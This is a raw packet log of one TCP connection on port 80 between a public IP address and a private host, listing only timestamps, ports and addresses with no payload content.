Oct 7, 2024 03:03:10.899559021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899568081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899568081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899599075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899621010 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899652004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899682999 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899686098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899719954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899735928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899735928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899755955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899775982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899811029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899816036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899847984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899867058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899882078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899921894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899930954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899930954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.899955988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.899991989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900012016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900012016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900027037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900062084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900068998 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900069952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900115013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900125027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900150061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900176048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900204897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900223970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900239944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900274992 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900285959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900285959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900309086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900343895 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900352955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900352955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900377989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900388956 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900413036 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900448084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900461912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900461912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900482893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900527954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900527954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900537968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900571108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900602102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900624037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900633097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900656939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900693893 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900701046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900701046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900727034 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900763035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900772095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900772095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900811911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900849104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900855064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900890112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900895119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900895119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900948048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.900959015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.900993109 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901020050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901027918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901062965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901062965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901079893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901154995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901161909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901191950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901227951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901237965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901237965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901262999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901271105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901314974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901319027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901355982 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901388884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901401997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901401997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901422977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901439905 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901459932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901494026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901500940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901500940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901529074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901535034 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901563883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901598930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901604891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901606083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901633978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901671886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901683092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901683092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901705980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901750088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901755095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901755095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901786089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901819944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901823997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901838064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901855946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901881933 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901905060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901937962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901938915 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901981115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.901992083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.901992083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902017117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902029037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902050972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902087927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902093887 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902112961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902121067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902154922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902158022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902190924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902205944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902205944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902225018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902264118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902266979 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902266979 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902298927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902314901 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902337074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902381897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902381897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902383089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902420044 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902453899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902462959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902462959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902489901 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902523994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902530909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902530909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902559042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902585030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902609110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902612925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902643919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902683020 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902694941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902694941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902729988 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902733088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902765989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902796984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902801037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902841091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902853966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902853966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902875900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902894974 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902909994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902931929 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.902945042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.902971029 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.903004885 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989085913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989140987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989176989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989181995 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989213943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989221096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989221096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989248037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989298105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989298105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989305973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989345074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989382029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989389896 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989389896 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989419937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989466906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989466906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989480019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989533901 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989568949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989588022 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989604950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989622116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989639997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989645004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989676952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989686012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989720106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989732981 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989732981 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989757061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989783049 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989790916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989814043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989825964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989867926 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989886045 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989943981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.989948988 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989948988 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.989995956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990034103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990052938 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990052938 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990067959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990089893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990104914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990138054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990149975 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990158081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990211964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990245104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990273952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990273952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990282059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990315914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990324020 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990324020 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990375042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990401983 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990408897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990447044 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990458965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990458965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990479946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990514994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990521908 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990535021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990551949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990590096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990592003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990592003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990622997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990637064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990677118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990714073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990714073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990744114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990746975 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990782976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990782976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990818024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990830898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990830898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990853071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990880013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990904093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990938902 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.990967989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990967989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.990974903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991009951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991024971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991024971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991061926 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991066933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991103888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991132021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991137028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991172075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991179943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991179943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991225004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991231918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991267920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991306067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991306067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991322041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991359949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991374016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991414070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991430044 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991463900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991494894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991497993 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991533041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991539955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991539955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991569042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991605997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991615057 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991615057 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991640091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991650105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991695881 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991733074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991748095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991748095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991765976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991787910 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991800070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991835117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991839886 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991871119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991872072 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991904974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991910934 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991910934 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991942883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.991956949 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.991976023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992008924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992029905 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992029905 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992047071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992080927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992098093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992098093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992116928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992151976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992161989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992161989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:10.992208958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:10.992208958 CEST	49731	80	192.168.2.4	46.8.231.109
